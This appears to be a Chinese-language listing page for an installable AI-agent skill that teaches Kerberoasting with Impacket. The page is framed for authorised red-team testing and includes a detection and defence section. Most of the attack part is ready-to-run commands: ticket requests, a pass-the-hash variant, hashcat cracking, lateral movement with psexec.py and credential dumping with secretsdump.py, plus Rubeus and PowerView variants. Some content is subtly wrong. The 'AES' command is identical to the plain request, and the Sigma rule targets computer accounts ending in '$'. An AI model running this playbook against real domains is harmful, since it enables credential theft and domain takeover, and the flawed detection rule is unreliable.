mcpField
E
exploiting-kerberoasting-with-impacket

exploiting-kerberoasting-with-impacket

github.com/mukul975安全35.2k95 次安装8 周前更新
代码仓库

关于 exploiting-kerberoasting-with-impacket

面向授权测试人员和防御团队的安全技能,介绍如何使用 Impacket 进行 Kerberoasting,涵盖 SPN 枚举、票据请求、离线破解与检测,也包含防护建议及相关 Windows 工具。

主要功能

  1. 01枚举带有 SPN 的账户
  2. 02使用 GetUserSPNs.py 请求 TGS 票据
  3. 03使用 Hashcat 或 John the Ripper 离线破解票据
  4. 04查看检测信号与防护措施

适用场景

  1. 01开展经授权的 Active Directory 红队测试
  2. 02在受控环境中分析 Kerberoasting 攻击痕迹
  3. 03制定 Kerberos 票据请求监测方案

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-kerberoasting-with-impacket

安装后在 Claude Code 中输入/exploiting-kerberoasting-with-impacket确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
assets/
template.md
references/
api-reference.md
standards.md
workflows.md
scripts/
agent.py
process.py

详细介绍

利用 Impacket 实施 Kerberoasting

概述

Kerberoasting(MITRE ATT&CK T1558.003)是一种凭据访问技术,通过为具有服务主体名称(SPN)的账户请求 Kerberos TGS(票据授予服务)票据,来针对 Active Directory 服务账户发起攻击。TGS 票据使用服务账户的 NTLM 哈希(RC4 或 AES)加密,从而支持离线暴力破解。Impacket 的 GetUserSPNs.py 是基于 Linux 的 Kerberoasting 攻击的标准工具。

何时使用

  • 在执行涉及利用 Impacket 实施 Kerberoasting 的授权安全测试时
  • 在受控环境中分析恶意软件样本或攻击痕迹时
  • 在开展红队演练或渗透测试项目时
  • 在基于对攻击技术的理解构建检测能力时

先决条件

  • 有效的域凭据(任何域用户都可以请求 TGS 票据)
  • 对域控制器的网络访问(TCP/88 Kerberos、TCP/389 LDAP)
  • 已安装 Impacket(pip install impacket)
  • 用于离线破解的 Hashcat 或 John the Ripper
  • 字典文件(例如 rockyou.txt、SecLists)

法律声明: 本技能仅用于授权安全测试和教育目的。未经授权对您不拥有或未获得书面测试许可的系统使用本技能属于违法行为,可能违反计算机欺诈相关法律。

MITRE ATT&CK 映射

技术 ID名称战术
T1558.003Steal or Forge Kerberos Tickets: KerberoastingCredential Access
T1087.002Account Discovery: Domain AccountDiscovery
T1110.002Brute Force: Password CrackingCredential Access

步骤 1:枚举可进行 Kerberoasting 的账户

# List all user accounts with SPNs (without requesting tickets)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1

# Output example:
# ServicePrincipalName          Name        MemberOf                          PasswordLastSet
# ----------------------------  ----------  --------------------------------  -------------------
# MSSQLSvc/SQL01.corp.local     svc_sql     CN=Domain Admins,CN=Users,...     2023-01-15 10:30:22
# HTTP/web01.corp.local         svc_web     CN=Web Admins,CN=Users,...        2024-03-20 14:15:00
# HOST/backup01.corp.local      svc_backup  CN=Backup Operators,CN=Users,...  2022-06-01 08:45:10

步骤 2:请求 TGS 票据

# Request TGS tickets for all Kerberoastable accounts
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 -request

# Request ticket for a specific SPN
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request-user svc_sql

# Output format (hashcat-compatible):
# $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local*$abc123...

# Save to file for cracking
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request -outputfile kerberoast_hashes.txt

# Using NTLM hash instead of password (Pass-the-Hash)
GetUserSPNs.py corp.local/jsmith -hashes :aad3b435b51404eeaad3b435b51404ee \
  -dc-ip 10.10.10.1 -request -outputfile hashes.txt

# Request AES tickets (if available)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request -outputfile hashes.txt

步骤 3:离线破解 TGS 票据

# Hashcat - RC4 encrypted tickets (mode 13100)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
  --rules-file /usr/share/hashcat/rules/best64.rule

# Hashcat - AES-256 encrypted tickets (mode 19700)
hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt

# Check results
hashcat -m 13100 kerberoast_hashes.txt --show
# $krb5tgs$23$*svc_sql$CORP.LOCAL$...*$...:Summer2024!

步骤 4:验证并使用破解出的凭据

# Verify cracked credentials
crackmapexec smb 10.10.10.1 -u svc_sql -p 'Summer2024!' -d corp.local

# Check for local admin access
crackmapexec smb 10.10.10.0/24 -u svc_sql -p 'Summer2024!' -d corp.local --local-auth

# Use credentials for lateral movement
psexec.py corp.local/svc_sql:'Summer2024!'@SQL01.corp.local

# If service account is Domain Admin
secretsdump.py corp.local/svc_sql:'Summer2024!'@10.10.10.1 -just-dc-ntlm

替代工具

Rubeus(Windows)
# Kerberoast all accounts
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Target specific user
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_hash.txt

# Request RC4-only tickets (easier to crack)
.\Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt

# Kerberoast with AES
.\Rubeus.exe kerberoast /aes /outfile:hashes.txt
PowerView(PowerShell)
Import-Module .\PowerView.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File hashes.txt

定向 Kerberoasting

Kerberoasting 的高价值目标:

账户类型原因风险
Domain Admins 中的服务账户直接通往域沦陷的路径严重
SQL 服务账户(MSSQLSvc)通常拥有过高权限高
Exchange 服务账户可访问所有电子邮件高
AdminCount=1 的账户曾经或当前具有特权高
使用旧密码的账户更可能使用弱密码中

检测

Windows 事件日志
Event ID 4769 - Kerberos Service Ticket Request
- Monitor for: Encryption type 0x17 (RC4-HMAC) when AES is expected
- Monitor for: Single user requesting many TGS tickets in short period
- Monitor for: Service ticket requests from unusual source IPs
Sigma 规则
title: Potential Kerberoasting Activity
status: stable
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4769
        TicketEncryptionType: '0x17'  # RC4
        ServiceName|endswith: '$'
    filter:
        ServiceName: 'krbtgt'
    condition: selection and not filter
level: medium
tags:
    - attack.credential_access
    - attack.t1558.003

防御建议

  1. 使用组托管服务账户(gMSA) - 240 个字符的随机密码,自动轮换
  2. 为所有服务账户设置强密码(25 个字符以上)
  3. 启用仅 AES 加密 - 通过 GPO 禁用 RC4
  4. 监控事件 ID 4769 以发现 RC4 TGS 请求
  5. 在 gMSA 不可行时实施托管服务账户
  6. 定期审计 - 运行 BloodHound 以识别可进行 Kerberoasting 的账户
  7. Protected Users 组 - 添加敏感服务账户
  8. 蜜罐 SPN - 创建带有 SPN 的诱饵账户以检测攻击

参考资料

评论

支持 Markdown